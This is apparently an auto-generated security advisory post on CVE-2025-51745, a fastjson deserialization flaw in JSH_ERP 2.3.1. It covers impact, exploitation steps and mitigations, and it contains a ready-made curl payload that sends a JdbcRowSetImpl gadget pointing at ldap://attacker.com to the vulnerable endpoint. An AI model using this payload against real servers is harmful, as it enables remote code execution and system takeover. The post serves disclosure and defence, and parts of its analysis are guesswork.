Listen to this Post
The CVE-2025-51745 vulnerability in jishenghua JSH_ERP version 2.3.1 involves insecure deserialization via the `/role/addcan` endpoint, which uses the fastjson library. Fastjson is a Java JSON parser that, when configured improperly, can deserialize malicious payloads leading to remote code execution. Attackers craft JSON requests with embedded Java classes or gadgets that, upon deserialization, execute arbitrary code on the server. This endpoint likely handles role addition or permission assignments, parsing user-supplied JSON without adequate validation. The deserialization process triggers the execution of harmful sequences due to fastjson’s auto-type feature, which allows instantiation of arbitrary classes. By sending a specially crafted POST request to the vulnerable endpoint, an attacker can exploit this to gain control over the application server. The vulnerability stems from missing type checks or blacklists, allowing classpath manipulation. This enables actions like spawning shells, accessing files, or deploying backdoors. The attack requires network access to the ERP system, often over HTTP. Successful exploitation compromises confidentiality, integrity, and availability, potentially leading to full system takeover. The flaw is critical due to the high privilege of ERP systems and ease of automation in deserialization attacks.
Platform: jishenghua JSH_ERP
Version: 2.3.1
Vulnerability: fastjson deserialization
Severity: Critical
date: 11/25/2025
Prediction: Patch date unknown
What Undercode Say:
Analytics
curl -X POST http://target.com/role/addcan -H "Content-Type: application/json" -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}'
java -cp fastjson-1.2.24.jar Exploit.java
How Exploit:
Craft malicious JSON payload with dangerous Java classes. Send to /role/addcan endpoint. Use fastjson gadgets for RCE. Exploit via auto-type feature. Leverage LDAP or RMI servers. Execute arbitrary commands.
Protection from this CVE
Update fastjson library. Disable auto-type. Use safe modes. Input validation. Apply patches. Restrict network access. Use allowlists. Monitor endpoints.
Impact:
Remote code execution. System compromise. Data breach. Privilege escalation. Service disruption. Unauthorized access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
